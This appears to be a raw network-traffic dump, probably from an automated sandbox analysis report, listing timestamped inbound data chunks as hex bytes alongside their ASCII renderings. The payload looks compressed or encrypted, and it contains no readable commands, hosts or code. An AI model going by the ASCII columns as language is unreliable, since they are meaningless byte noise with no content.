e5 c2 51 20 50 07 6b d9 ad 27 5c 50 1f 0f 9b ed e5 86 25 0a 21 aa 2a 10 51 04 d5 9b 61 f1 d2 af 85 29 98 53 23 5d 41 de 
cc 71 5a d3 e1 bc 66 5c 6b 2c 28 3c 3b 3c d2 28 f3 e8 ce 97 b8 12 d4 1c ca ee 48 0c d9 6a 69 4d 74 1a fd 2a 62 76 b0 99 
78 47 e7 e3 3c 1b 32 4b 07 11 33 a5 39 51 07 c8 7e 24 68 dc e0 e4 1a 54 e3 97 8e e0 bc d6 f2 10 cb c4 c1 03 8e 82 2f ea 
eb 78 92 9c bb f6 30 70 51 fa 87 2d da 6e dc 51 aa 76 e3 90 cc ac 4b 08 7e 73 27 2b 69 63 79 52 81 b0 53 a2 88 74 72 66 
88 d6 f2 53 cc 7f a3 e6 27 ac 2b 3a 3a 94 8c 06 2c 06 64 23 12 d4 f0 2e 4f d9 18 0b 84 d3 a6 12 60 32 87 56 e2 ec b8 93 
01 b4 3c b2 6c ad e5 7e d3 7a 35 3a 36 65 9b 80 97 a6 
Data Ascii: eS{9[xI>/Q Pk'\P%!*Qa)S#]AqZf\k,(<;<(HjiMt*bvxG<2K39Q~$hT/x0pQ-nQvK~s'+icyRStrfS'+::,d#.O`2V<l~z5:6e

2022-01-13 21:05:25 UTC 1540 IN Data Raw: 9f f1 e7 4f 9f 4a 84 c7 2d 46 79 d7 45 79 46 6a 89 2b 45 cb 8a af 14 a1 bd 78 fc b8 28 28 08 83 0f 83 df f7 59 
d4 1b 2d 19 e2 cf 7a 3a 74 a9 14 c6 52 e1 4b 3b e9 54 0b 30 dc 30 64 2d db 66 52 e9 c4 76 26 21 9a 13 05 08 96 38 43 
74 32 90 a3 30 ca b6 8b 67 10 e2 7e a2 88 b9 b4 f4 c8 82 5a e2 ad 53 2f 93 ce 32 5a 5a 7a ea a1 10 f6 1e b3 ba c8 07 9c 
90 4c 06 a4 ea 33 5d d4 75 04 b5 fc b6 4a ec 74 24 85 3a 54 d2 a7 cf 5d 17 6f 77 d4 59 da 29 9e df 18 ba a9 30 63 2e 47 
76 7a 21 32 8b 30 5d 0d 26 95 75 35 7f 27 2e f1 eb da e3 ad 6f 38 69 5c 55 af 31 c2 c7 a6 cf cd 85 d4 df 11 ec ba 0d 39 9e 
6f 12 38 a5 c4 85 86 46 1b 10 c2 e4 06 48 55 12 b5 85 f8 c2 1e c9 c2 84 92 22 77 98 34 ac 81 fe 1a 56 69 68 12 4b a6 b0 
ac 9a ec 85 7c 16 6f 66 f3 90 ec 3e 47 16 d8 49 5a 78 
Data Ascii: OJ-FyEyFj+Ex((Y-z:tRK;T00d-fRv&!8Ct20g~ZS/2ZZzL3]uJt$:T]owY)0c.Gvz!20]&u5'.o8i\U19o8FHU"w4VihK|of>
GIZx

2022-01-13 21:05:25 UTC 1542 IN Data Raw: a2 3f 0c 47 c0 3b 03 5d 8c b3 e3 79 b9 b0 4f 6a 20 c1 ba 72 64 7d 52 d1 3b d9 2a 7a eb d7 43 bb 6f d3 f7 67 46
1d d8 2c 23 f7 ea 67 62 77 1a 89 2a e9 44 c9 a0 9c 68 d9 43 ef 0b ee 6c c6 ad 64 3f 22 a9 dd d7 66 a1 e2 38 97 2a 10 d4 
1c 05 44 42 d1 65 b9 61 15 c2 27 3f bc 23 a1 8e 30 c7 49 5b 84 bf 44 ea ab 71 fd ea 2b 2f 49 3a 0d 55 41 7c 61 ca 9e 2a 
91 84 45 47 8c 71 d2 e0 51 28 4a 1a e6 62 77 cc 71 12 5c a7 49 1f 12 67 9f c1 5e 98 93 bc d7 0c a8 c4 da e7 36 01 dd 70 
e3 34 b0 2a d4 b9 4d d6 d9 35 2f 19 29 73 af e9 2d db c9 84 12 b1 bd 96 f9 b0 f0 b9 cd b2 5a 6c 49 3e 7c 7b 9b 3d 1e a2 
05 98 c6 48 26 d7 34 8d d3 75 fa 80 fa 08 1d fa ce 6b 98 a8 f1 0e 85 af 90 22 96 d7 84 c6 7b e8 c2 c4 7e 64 a4 8b 81 e9 
a5 79 f5 33 a1 3f 8f e9 e0 a9 51 6b e3 6b 41 f1 94 e6 
Data Ascii: ?G;]yOj rd}R;*zCogF,#gbw*DhCld?"f8*DBea'?#0I[Dq+/I:UA|a*EGqQ(Jbwq\Ig^6p4*M5/)s-ZlI>|{=H&4uk"{~dy3?
QkkA

2022-01-13 21:05:25 UTC 1543 IN Data Raw: 5d 77 54 80 cb c7 4b c7 a1 28 db 4a c2 6f b3 84 1f bf d2 3d b6 db 4c 08 d1 47 35 4a 5e ba 46 e9 17 04 04 0d 
93 dc 7a 44 2b b7 f6 b2 65 13 d4 85 63 31 83 08 42 29 2c e4 90 57 22 ad 22 a5 97 64 23 5e e2 9e a7 77 ca ac 36 70 08 
7d f3 39 9c 41 37 ce b6 ce ce 5a c7 47 7f 6f af b7 0e 2e 4e b7 ac 7a 1c c2 67 69 29 29 3b 1a 81 a1 96 96 4a 7f c4 8f 3a 26 
a4 e5 77 46 a3 3b 0c b5 47 80 7c 9b 66 16 a7 b8 49 3a 67 6b 77 fd 68 e7 f8 e2 fc ef d6 d1 97 f5 83 d6 26 2d f5 3e 65 38 
be c1 90 8a 75 63 77 c1 d8 6f a0 4e ba bc 96 b8 c5 b8 c9 31 94 35 54 eb 1d 37 73 b7 05 b3 b9 59 95 11 20 9c 7a d2 fe 74 
4b 6a d1 b7 e5 df af 34 ed 64 86 c1 ea 3f 52 83 5f ce 53 e6 13 5e 00 47 aa 34 ea 13 01 43 76 75 d2 46 7e a1 6c 09 7a a6 
92 53 82 5b dc d5 16 b1 2f 5b 7c 6d cc 79 fc 38 84 c1 6c 
Data Ascii: ]wTK(Jo=LG5J^FzD+ec1B),W""d#^w6p}9A7ZGo.Nzgi));J:&wF;G|fI:gkwh&->e8ucwoN15T7sY ztKj4d?R_
S^G4CvuF~lzS[/[|my8l

2022-01-13 21:05:25 UTC 1544 IN Data Raw: 99 37 f4 2c cb bc 85 6d f3 25 4b 3a cd bb 2d 8e 2b 6f ca 8f a6 e8 08 6c 88 53 3b 40 5e c3 48 92 dd 64 89 3c 39 
61 05 d0 53 bc 76 94 2a e6 17 72 61 9f e6 27 47 a2 b0 93 65 0f 7a 65 c3 de 63 81 20 78 42 65 ee 01 a7 b5 4f 21 e9 aa a2 
57 76 ea 3b e6 52 9f a3 ec 46 37 2d 05 c7 37 2e c7 56 24 b8 b5 bf 74 83 30 e6 3f f2 f4 93 96 e4 ed 76 bb 83 89 05 fb 81 
a0 92 8b c6 cb 86 15 d0 15 bc 65 f2 53 64 e6 84 4d d8 65 65 df 46 59 84 40 f2 7e 94 ed e7 b2 bd 5e e6 78 76 a8 0f 77 44 
95 dc 17 3e 96 80 02 61 20 df dd 2a 86 fc 0a 5d 56 c4 cc c9 b3 b6 8a 19 d7 8c 3c 51 a3 2d f3 c0 58 35 e0 05 7d 20 4d 45 
c8 6c c3 69 18 6d 3d dd d9 ef ec 66 4d e9 00 ff 7a f7 f7 eb 1d 2c 38 e8 89 f3 0e ce d3 e9 c8 0f 97 ad ab 77 d7 d6 32 26 bb 
fa bf 7f bd bb 5e fe ab c8 7f b3 29 ae fe 7a fc fb 
Data Ascii: 7,m%K:-+olS;@^Hd<9aSv*ra'Gezec xBeO!Wv;RF7-7.V$t0?veSdMeeFY@~^xvwD>a *]V<Q-X5} MElim=fMz
,8w2&^)z

2022-01-13 21:05:25 UTC 1546 IN Data Raw: 5e f8 2e 9c 73 1b 11 15 ff cc 56 21 ee 73 74 b3 46 96 d3 1b 72 53 4a e7 3a 9b 83 97 8b 59 0e 6f b4 00 17 67 
18 bd 5d cd 59 7e 35 e7 d5 ac 74 2d 43 3e 1c ed 43 87 cf cd f1 b9 cc e3 bd d2 40 64 3e a3 c3 71 a0 04 66 86 2e 92 95 40 
99 59 68 76 58 16 1f d7 de d3 7d f9 45 15 9a 85 58 cc 17 49 2c e6 a3 bc c8 28 84 99 6c 44 6d 40 78 67 26 16 e3 67 38 20 
fa 45 ff 6e 8a 3b 01 c1 fc 92 4e 6f 31 b1 f3 34 bc c1 6d 6a 0d 10 32 1c 17 27 cf b1 70 9c 89 3e e6 36 5a 34 de 0d 93 f2 df 
dd d8 65 be 75 d6 71 3d 9c e8 e6 2d 3b 86 b1 36 62 c8 42 bb 41 31 a3 c6 08 1d b4 e1 df 4e 91 8c f1 cf 48 40 11 78 a9 3d 
8a 6f b4 6b c0 c2 d5 2c 87 a2 04 8e d4 b5 38 bc 10 e9 6e e0 a0 9c f0 43 2b d8 1e 8e ce 5d cf d6 71 55 46 57 23 a9 31 5a 
01 aa 05 1d 89 77 de 54 0f 70 86 1a bf be 82 74 31 65 
Data Ascii: ^.sV!stFrSJ:Yog]Y~5t-C>C@d>qf.@YhvX}EXI,(lDm@xg&g8 En;No14mj2'p>6Z4euq=-;6bBA1NH@x=ok,8n
C+]qUFW#1ZwTpt1e

2022-01-13 21:05:25 UTC 1547 IN Data Raw: 18 3e 6a bf 49 9a 41 be ed a7 a9 ab 23 c3 9d a0 df bd c4 f6 89 49 76 f6 62 62 9c d4 3b 53 34 f5 d1 5d ce b5 a5 
ab 59 af dd 84 1e de 15 53 e2 4a bf cd 37 c4 90 fc a1 8c 2f 32 45 76 d8 87 23 63 10 f6 48 9b 66 41 dd 5d 79 c7 71 99 a3 
3b 88 30 e7 a5 59 fc 70 40 03 93 52 1d ac 96 10 80 29 36 14 9c 67 e6 97 29 4c e2 7b 81 e4 92 fc b2 89 6f b0 55 8f 19 c3 
0c 65 06 76 28 d0 18 69 07 2d 8f 97 96 fc 94 9b 29 39 9a 4a 58 74 8c 52 4b 5e a7 be b4 4f 92 1e c8 c5 3d 0c 44 03 7f ea 
81 7e f5 8d 5f 7d 53 66 e7 f2 f5 9d db cc e2 0a d4 f0 bd d2 f5 62 aa 6d 74 62 dc 76 f0 5e df 06 11 af 37 69 58 d4 23 54 0a 
27 b2 3f ad 68 37 79 11 c7 b3 d9 1a a0 27 dc ca a9 dc 49 2b ad f6 0a 87 ef 74 bd 5e 68 5d 37 2c 0f b6 cb da 2a 9a 02 98 
a5 53 5b d2 35 a4 7c f1 25 36 17 90 09 8f c2 08 fc 
Data Ascii: >jIA#Ivbb;S4]YSJ7/2Ev#cHfA]yq;0Yp@R)6g)L{oUev(i-)9JXtRK^O=D~_}Sfbmtbv^7iX#T'?h7y'I+t^h]7,*S[5|%6

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1548 IN Data Raw: 6f 56 02 34 31 de 46 60 bc 20 fc 02 a1 1b 2f db 16 87 02 e7 be a0 61 72 22 07 37 df 78 a9 46 4f cc 6d b2 3c 6f 
fe 1e 8e fe 6e 8f 68 6f 05 71 a3 81 2b 8c f2 8f a7 d4 d1 b4 1b 22 d4 13 90 ff 0e 75 42 00 0d 90 1c ac 57 dc 26 db 25 e0 61 
91 38 17 77 f0 cf 81 4b 41 31 90 56 23 05 ed 00 d1 d8 a0 f8 66 7c da f0 56 c5 e0 38 ae 69 6e 81 57 7c 05 8d 66 87 21 af 
9b 16 d1 0f ab 66 b1 87 a3 e5 a0 d1 95 16 6b ad e5 7d 2c fc 8d de eb 09 43 0e d1 9d 58 62 21 ee 7a 6c f2 80 d3 67 97 fe 
a7 c1 7b 14 68 76 bc aa 4e 13 33 52 2b ac 17 e4 08 49 a7 c6 a1 ef 4f 47 18 e7 c7 1d 04 84 05 49 67 67 62 32 7d 0d 67 ee 
a1 43 2e 5e 39 90 1e 8f 66 a1 51 fa 77 e6 ee f5 35 28 f6 a9 17 cc fe fc 96 14 c3 be 9b b7 ab de c4 2e e9 60 dc 28 9a 4d ec 
df aa e2 7b d5 a9 ff f6 4f 59 8c fa 9c 0b 57 f2 
Data Ascii: oV41F` /ar"7xFOm<onhoq+"uBW&%a8wKA1V#f|V8inW|f!fk},CXb!zlg{hvN3R+IOGIggb2}gC.^9fQw5(.`(M{OYW

2022-01-13 21:05:25 UTC 1549 IN Data Raw: 63 8d e9 9e 16 b1 05 bb 5b 85 b3 e3 ed f3 af eb a7 5b 85 d6 59 e1 e4 f4 f8 4b 6b 73 6b b3 60 ad 9f c1 33 88 33 
5f 5b e7 bb c7 17 e7 05 48 71 ba 7e 74 7e 59 38 de 2e ac 1f 5d 16 f6 5b 47 9b a2 b0 f5 ed e4 74 eb ec ac 70 7c ba 50 68 
1d 9e 1c b4 b6 e0 65 eb 68 e3 e0 62 b3 75 b4 53 f8 0c 19 8f 8e 61 45 b7 60 5d 43 a9 e7 c7 54 a3 2c ab b5 75 86 a5 1d 6e 
9d 6e ec c2 e3 fa e7 d6 41 eb fc 52 2c 14 b6 5b e7 47 58 ea f6 f1 29 88 34 a8 a8 6f 6d 5c 1c ac 9f 16 4e 2e 4e 4f 8e cf b6 
a0 01 9b 50 ee 51 eb 68 fb 14 aa d9 3a dc 3a 3a 2f 42 b5 f0 ae b0 f5 05 1e 0a 67 bb eb 07 07 58 d7 42 01 ef 69 8e 4f b1 
89 85 8d e3 93 cb d3 d6 ce ee 79 61 f7 f8 60 73 0b 5e 7e de 82 b6 ad 7f 3e d8 e2 ba a0 5f 1b 07 eb ad 43 51 d8 5c 3f 5c df
d9 a2 5c c7 50 0c 74 0f d3 71 03 0b 5f 77 b7 f0 
Data Ascii: c[[YKksk`33_[Hq~t~Y8.][Gtp|PhehbuSaE`]CT,unnAR,[GX)4om\N.NOPQh:::/BgXBiOya`s^~>_CQ\?\\Ptq_w

2022-01-13 21:05:25 UTC 1551 IN Data Raw: e5 d8 eb bc ea b9 e5 af bb 96 4f d5 78 45 1b 50 53 c9 d2 3e 25 7d e2 e6 e1 32 dc 13 75 c8 5b 18 a8 c7 0a 78 
28 21 ee 58 52 d5 a1 cc 3a 8f 44 c6 b9 f1 fa 09 10 fd fe 40 95 c8 29 fd c3 49 f1 96 44 68 87 c3 52 d2 dc bf 4a c5 09 a6 05 
b7 a9 51 ea 30 b0 e3 11 1a 94 30 f3 ed c4 92 42 ca dd 95 1d 2f 21 23 5a 42 54 da a0 69 86 9a 5f d4 93 ac 22 59 38 a3 dc 
6b 94 63 8c 7c f5 43 8b 51 3d a8 0b 9f 57 a8 4e ab 36 9a ba 11 d6 09 02 f4 b4 11 d6 ad b0 4e 50 08 ea 67 61 fd dc ae 36 
aa eb 76 58 df 6c b6 ab f5 16 3f 35 e8 a9 c2 4f f5 76 15 27 ac f4 54 6b 9b 6b 22 5f b5 6d 5a 54 14 0e 80 6d f5 6b 0a 54 ed 
d4 97 75 ca 98 87 68 7e 8d 20 9a 72 c8 e7 be e5 26 e6 ba 0c f9 14 ee 17 b7 70 04 8b 65 d3 68 54 d7 9a b4 98 b4 70 a5 
59 6f 70 34 44 b7 68 ae fb 4a c7 97 2e 52 24 6a d2 68 
Data Ascii: OxEPS>%}2u[x(!XR:D@)IDhRJQ00B/!#ZBTi_"Y8kc|CQ=WN6NPga6vXl?5Ov'Tkk"_mZTmkTuh~ r&pehTpYop4
DhJ.R$jh

2022-01-13 21:05:25 UTC 1552 IN Data Raw: 77 1e f7 f4 30 ea 69 7c 0e ef 94 6f 88 7f 3e 87 5b 75 4c 7a b0 4e 29 bb 3e 6d cd c1 3a 1e 56 56 a8 0f e8 37 e5 
0a 30 f3 e2 09 bf 7e 70 35 ed e2 44 bd 58 04 93 c7 f9 fc a5 ef d2 f3 93 6c c6 96 9f 2d 8f c8 45 00 7c 9e ab 2f 7e 62 dc 47 
0b f8 5b 61 cb f0 17 30 64 3f a0 44 7f a4 78 0d 31 53 83 4e b1 fa b7 4f 48 db 7a 48 a5 50 7f 2d c5 94 72 f2 ab 8b 22 09 22 
be e8 30 18 b4 40 e7 e5 19 42 74 8b ae 91 77 ec 1b 62 a9 cf 2d fe 44 15 35 9a c5 c8 c9 68 d7 be aa 9f 75 ce 99 81 c1 91 
78 58 b2 7f 20 c1 d8 15 f5 
Data Ascii: w0i|o>[uLzN)>m:VV70~p5DXl-E|/~bG[a0d?Dx1SNOHzHP-r""0@Btwb-D5huxX 

2022-01-13 21:05:25 UTC 1552 IN Data Raw: 74 e1 53 be 54 b2 3a 36 98 8c 60 73 56 a7 d1 b6 67 e0 af 89 f5 0b 68 9d ae ea aa 66 20 49 d7 be 4e d5 17 94 
ec db b8 be 00 f5 cd a5 af 2c 7f 9d 47 3f e7 c2 54 1d dc 1e c4 20 3b 4e 51 0f 97 88 2a f1 eb 2e d1 51 22 e1 46 20 9e 8e 06
84 3b fc b4 33 86 a1 3b 38 12 4c 32 23 f5 34 b4 1b ab 35 5e 6c 1d 4a e8 ac 87 16 e1 be ce 9c 1a 2d b6 ce 39 88 25 4d 55 
b1 88 22 e7 76 d7 ee a8 49 a6 fe da 15 bd cd d9 08 e6 72 c9 5a d5 0d 89 4a e2 24 35 55 ba ba d1 dd 2c 16 bb 6d 22 2f 54 
6a 20 56 af a8 6c 20 96 f5 be 4f 60 64 1a 43 0b ba 44 98 4c d9 98 60 ba d8 26 ba b2 a3 a8 0d 7c 98 b9 6e 77 ac 4e a9 a4 
33 8e 7b 38 47 1e 08 66 b2 23 1a 56 a8 6b 4a 1c 44 c1 52 e9 dc 90 f9 4d dd f0 d3 19 4b 25 c0 e4 9c 47 99 78 f5 0d d9 61 
01 94 22 7e fc 08 dd d1 79 2d 86 ca 86 ad 9e fd f3 cd 
Data Ascii: tST:6`sVghf IN,G?T ;NQ*.Q"F ;3;8L2#45^lJ-9%MU"vIrZJ$5U,m"/Tj Vl O`dCDL`&|nwN3{8Gf#VkJDRM
K%Gxa"~y-

2022-01-13 21:05:25 UTC 1553 IN Data Raw: 30 76 58 40 74 9a fb c4 ce fb f5 71 dd 45 9c e9 db e3 99 16 89 ca a2 f2 23 81 bf df 53 f8 eb 94 9d a1 44 5a f6 ef
ba eb 19 40 81 db a1 c1 2a 6b 87 96 5c 40 f0 6b 22 28 34 e1 b5 a6 5e 49 12 a6 5d 2f 92 54 c1 b8 5f 06 c6 35 7e 7c 62 11 
91 99 08 4f cb 98 d9 c4 c0 16 03 b8 ed da 12 8f 60 b9 76 3d 30 bd 6f 11 4d d5 23 72 5e a5 29 a0 86 46 0e e3 15 1e 48 1e 
1e 49 8e 90 2f fc 76 cf ee 8b 2c b7 6e ad ac f0 33 55 68 33 db 43 6f 78 02 9b 8c 97 62 51 bd 82 ff f9 e9 83 f5 62 76 8a 28 
27 be fa e2 2b b2 89 ec ff 2f 24 f8 eb 63 4b b7 ee 49 f8 6b 95 b4 71 c9 c7 f1 d8 98 70 b4 85 91 de 6f 20 82 6f f9 86 b8 03 
da 53 ef 45 12 ad 0d 21 21 c7 e0 b4 14 38 e7 4a f4 23 ae fa fa cc 5d 19 9c eb 1b 1d b1 31 96 4a 24 3c e6 94 da 7b 9d 21 
bb 09 a7 01 23 27 81 10 7f a5 c8 6e 40 b8 ad 
Data Ascii: 0vX@tqE#SDZ@*k\@k"(4^I]/T_5~|bO`v=0oM#r^)FHI/v,n3Uh3CoxbQbv('+/$cKIkqpo oSE!!8J#]1J$<{!#'n@

2022-01-13 21:05:25 UTC 1555 IN Data Raw: 60 19 2d 47 5a 8c 4c dd c4 27 48 58 e2 42 a4 54 97 88 97 23 f5 eb a9 52 6f 92 15 7e 8e 92 85 33 1b bb 25 3d 
7f 86 38 29 e5 c7 cb 40 d4 e0 f5 c5 6f 10 15 11 2b 3c 51 db f5 95 fa 84 9d 5f 64 bf f4 13 19 6e 87 d2 5b b1 bc 3d 3b 92 99 
58 a3 28 1e 5f 5f 88 5f 47 66 dd f5 64 56 19 ae eb 26 94 dd 91 ef bb b2 7b 6f 65 fe cf 2a 9f 2c b7 23 9b d8 96 bf 03 59 ff 61 
57 fc 7e 70 54 9f af 3c 65 25 39 f3 35 d3 ac 37 a5 6f 87 db 20 99 5e ad 2a a7 fa 6e 22 79 b5 a5 5b 9f ea 9a ac 27 7e be 0d 
e2 67 9c 75 88 07 39 d4 5b d9 85 93 ae 9d 4b c0 c8 4f 36 a7 3a 71 93 6c ad b1 5a 8b ab bd 51 d5 4e 25 64 f8 74 5b 5c 7a 
c5 91 eb 63 e5 84 b1 82 a4 77 c2 eb 2e ac 3d 04 d5 13 2b 55 00 4c da 93 f0 cb be 6c 63 5f 41 53 a2 d7 81 2c f8 46 be bf 
ba b0 2b 49 ab 0e b5 d5 70 40 ec 87 87 17 52 
Data Ascii: `-GZL'HXBT#Ro~3%=8)@o+<Q_dn[=;X(___GfdV&{oe*,#YaW~pT<e%957o ^*n"y['~gu9[KO6:qlZQN%dt[\zc
w.=+ULlc_AS,F+Ip@R

2022-01-13 21:05:25 UTC 1556 IN Data Raw: 6f db 29 1f 4f 54 3a 22 9f 6f 88 07 be 98 5b b4 23 31 f0 2e c8 82 11 47 5e 8a 9c 2b f7 d9 81 5d a4 3c a0 e1 04 
0d f5 0a 60 57 64 f0 0e 99 14 09 59 3c 28 36 9f 90 8e 6d 03 4e 64 4d f2 d7 29 9b 50 88 60 b9 52 a9 d5 a5 ed ad c4 9b 30 
ab b2 a8 8b 95 8d 00 e6 71 30 4f 2c 05 3a c1 61 3d 60 fb c1 aa 11 94 78 0c ac e3 0a 1f 1e d6 d6 e9 4f eb 05 13 a7 d6 06 
09 74 c8 0a 39 d0 c3 37 d0 cc 8d 0e d1 b4 f5 8e ee da 1f 61 65 0f 71 8d f9 ec 96 2d 2c 02 03 7b 4d d8 be 8a e0 4b ef 02 
87 43 d3 00 57 06 d6 00 03 cf b9 f4 cb f8 dd a5 07 a5 f5 18 40 8f 11 d0 4f e0 d9 e6 fa 3a 5e e9 e5 92 4a 41 91 65 d2 f3 e0 
c2 0e 8b ab f4 70 d8 15 39 06 17 f4 b2 ed db 48 e1 1c 3b be fd 9f ff 68 1a be e0 34 44 7f 49 db d3 20 d2 86 c4 77 57 ff 46 
9d f8 c4 da 90 58 0c 47 45 48 be 4c 27 8a bc 24 
Data Ascii: o)OT:"o[#1.G^+]<`WdY<(6mNdM)P`R0q0O,:a=`xOt97aeq-,{MKCW@O:^JAep9H;h4DI wWFXGEHL'$

2022-01-13 21:05:25 UTC 1557 IN Data Raw: 58 cc 27 8d 5e 21 9b b1 ca 40 42 90 88 36 c3 5f 57 47 a6 81 9c 02 cd 4b d0 75 c1 79 11 eb ed 4b a5 42 20 89 
9e c1 24 90 64 fa e6 9a f8 5d ad 89 df 35 53 fc 9a 15 99 40 9c 9a cc c9 ba 09 7f d3 c1 46 e9 f1 39 8c 54 13 09 21 cc 70 a0 
8e 81 a6 60 53 64 a8 e9 38 95 68 3b 44 58 8d 47 f1 82 45 6f 96 9e 59 20 90 d9 40 28 59 20 51 92 27 e2 43 b2 3b 96 6e 
63 61 65 56 22 6a 3d 0e 26 33 c4 12 89 b1 c7 49 a0 0e 44 aa 4e f9 62 d4 1b 6a 85 82 de 26 b8 4f 06 90 a1 3a ac f4 16 92 
91 03 29 0a b6 bb 10 a1 f8 b4 99 1e 12 17 42 0e 93 17 78 48 e2 75 b1 a7 e0 97 44 34 38 49 15 8c 38 89 88 88 ed 26 66 
90 4f af 99 b7 a6 ba 25 19 72 51 ed c3 03 e8 10 25 c6 77 4a e4 08 84 e4 da 6b a4 1d b1 f6 92 14 aa 93 e5 7d 75 31 c4 23 
7a 1b d3 04 c6 4b 2d bc c4 15 0c 38 d7 49 d5 e7 06 29 d1 7d 
Data Ascii: X'^!@B6_WGKuyKB $d]5S@F9T!p`Sd8h;DXGEoY @(Y Q'C;ncaeV"j=&3IDNbj&O:)BxHuD48I8&f
O%rQ%wJk}u1#zK-8I)}

2022-01-13 21:05:25 UTC 1558 IN Data Raw: f4 57 8d 28 8e cc ca ca 8b 2b 94 a1 9d 84 96 57 ea 03 a7 43 34 ae 53 ed 7a 3a 18 b2 1f f4 83 0e dc b4 22 c0 
99 70 a8 eb 07 e3 de 4d 20 7c dd 4e 66 57 c1 d8 eb 3b 13 f8 94 4d e4 94 ec cb c7 98 65 d1 ce ea e6 ea 1a c9 1a 95 2a fe 
b4 f0 07 af 66 8d fe 54 e9 4f ad 51 37 ea f5 a6 89 3f f4 5a 5f 6d e0 0f 65 69 e0 43 a3 b1 2a dd 58 5c a7 89 ea 52 5c 49 37 
c1 51 bc 56 ec 83 19 33 14 c4 ed cd 24 d9 57 91 7c 54 d2 d1 bb 28 50 13 c7 13 fa 94 e0 d3 9c a1 d3 bf 9b f6 bc 89 8a d1 
35 18 d1 1e cd 51 e2 cb d2 77 ae 8a fa 76 28 be a8 70 ee 22 b2 9a a5 1a 79 ff 6e 31 32 93 07 92 dc b5 3d c5 63 5c 44 a7 
37 dc 8d eb 03 39 3a b9 52 e5 32 c5 19 93 d3 8f a2 66 aa 30 be cb 75 47 7b c3 37 1c 4d 57 38 5c d3 54 bb 6e 20 ce 25 00 
f6 69 61 ef e5 5d ae ff 49 ed 72 fd 4f f1 2e e7 46 b5 
Data Ascii: W(+WC4Sz:"pM |NfW;Me*fTOQ7?Z_meiC*X\R\I7QV3$W|T(P5Qwv(p"yn12=c\D79:R2f0uG{7MW8\Tn %ia]Ir
O.F

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1560 IN Data Raw: 52 b6 9f 0b 5b 7b bb ba 6a c4 49 57 50 d6 b7 ab 2d 63 81 7b 78 49 9b 06 a5 af 2d a5 13 6f 48 1b 51 9b da 5b 
fc 22 22 67 d1 27 73 e9 13 89 60 94 5e 5d 4a 87 20 41 e2 4c 48 1f 6b 46 9a 41 79 29 48 3a 7d a9 2f 7e e1 ae d5 1a 8b c9 
51 fb cd b9 71 cf 50 f2 00 a5 fb c6 59 e5 9c 38 08 fa 35 cf ed 2a 7e ab e7 76 0d bf b5 73 bb 8e df 3a 6c 28 e8 b7 71 6e 37 
f1 db 84 b1 06 fd ae c2 20 83 7e 5b 30 f0 a0 df b5 73 db 44 45 ba 71 43 f5 3f 3e 18 d3 c8 3d 02 b6 ea dc f8 96 90 d0 0a ae 
e3 5d d2 c6 8c b8 c0 ff 56 e1 73 33 82 e0 aa d0 ba ff a6 bf 33 19 c0 46 84 f9 45 a3 a8 24 bf 14 a9 39 bf 10 0a 18 31 62 3c 
74 67 d8 11 91 90 48 96 a1 fe 8d 6f 82 f1 bf 45 68 df 89 50 d9 25 c3 d9 23 f2 0a 95 9f 0d fd 48 66 c8 17 64 f0 53 3f 74 96 
4e 1d 3a 09 8b c0 0b fb 62 aa 45 12 99 48 42 
Data Ascii: R[{jIWP-c{xI-oHQ[""g's`^]J ALHkFAy)H:}/~QqPY85*~vs:l(qn7 ~[0sDEqC?>=]Vs33FE$91b<tgHoEhP%#HfdS?
tN:bEHB

2022-01-13 21:05:25 UTC 1561 IN Data Raw: 71 fd eb 22 b2 77 c1 73 40 2c f0 5d 36 a8 79 dd ce 85 ab a7 8b f2 64 34 9e 6a fb 90 ab 50 07 8d 85 60 0d da 
44 ab 45 b8 fc 63 dc 89 bd 5e f6 d1 a0 9d 6c f0 e1 01 17 70 53 75 89 97 41 90 66 66 09 39 b1 8a 31 d9 7c 8d d7 e6 27 65 
8f f5 82 08 91 d8 2c 71 88 41 d2 6f 16 47 7d 12 71 d4 27 ef 1e 3b 50 78 ad 0e 14 f6 d2 dc d4 a7 98 99 32 0a be 1b 1d ac 
38 60 99 a7 da 5e c3 f8 24 99 89 fd c5 75 17 b9 f5 f5 02 ec 8f 5e b0 59 ea 7a 70 4d 02 43 6e 42 cb 87 07 7e fd 00 5d ea 87 
2e 96 0a b2 98 6d ce 6a b6 53 1f e7 c6 ce 32 ff 7b 91 90 31 fa 91 3b 0c e9 e0 a0 2b 39 9e 9d 24 61 65 8e e2 17 eb 51 15 
60 6c 6f d3 40 79 27 ad e8 68 d3 2c 99 46 74 d8 01 de 5a 7b db 30 de ea d6 db 64 ab df 33 18 d8 43 51 05 49 c8 05 a9 bf 
7e f7 08 fc 8e d8 bd 11 1f 44 da c9 6a ad cb f2 eb c1 
Data Ascii: q"ws@,]6yd4jP`DEc^lpSuAff91|'e,qAoG}q';Px28`^$u^YzpMCnB~].mjS2{1;+9$aeQ`lo@y'h,FtZ{0d3CQI~Dj

2022-01-13 21:05:25 UTC 1562 IN Data Raw: 42 d6 2e 4c b5 63 3e 6c 64 90 bf 5f 46 69 15 8b 8c 29 25 da 8b 5b a3 a9 80 36 1d b7 3c 83 95 95 a0 bc ed 11 
2e 32 65 f2 75 43 23 2e 4d df f4 6d 2a 82 2f a9 3e 2a 05 b8 d6 91 57 c5 69 ea f9 a0 7b 0a 33 6d bd ed 31 0c 8c c2 6c 58 
d0 39 45 10 ff 6f 29 45 88 71 b2 dc d9 25 d3 e4 e4 65 27 34 31 1e f5 fb 41 14 34 58 1c 9e be 6d 24 37 87 45 db df c9 81 
44 6c 65 95 e8 29 45 78 da 1c f8 62 29 e7 57 6f 29 69 c7 59 4a 1a 2e 27 7d 5d 4a e9 2c 67 ba 5d 4e 3a 58 4a f9 bc 94 72 
b5 5c ec f5 72 d2 6c 39 69 ba 9c b4 b3 5c d5 52 ca db a5 94 ed 65 b0 cc 96 52 0e ed b3 4f 15 ed 67 d7 99 b4 bf 95 b7 a6 
46 8e c8 21 3d bd 1e 18 13 7e e8 f4 e6 ba 11 e7 f8 3e 31 44 86 ef 63 99 c1 4f 67 70 a7 32 83 37 91 19 de 5c a6 32 78 2a 
83 af 32 4c 7f a4 32 04 2a c3 96 ea c3 5e ba 86 50 65 78 
Data Ascii: B.Lc>ld_Fi)%[6<.2euC#.Mm*/>*Wi{3m1lX9Eo)Eq%e'41A4Xm$7EDle)Exb)Wo)iYJ.'}]J,g]N:XJr\rl9i\R
eROgF!=~>1DcOgp27\2x*2L2*^Pex

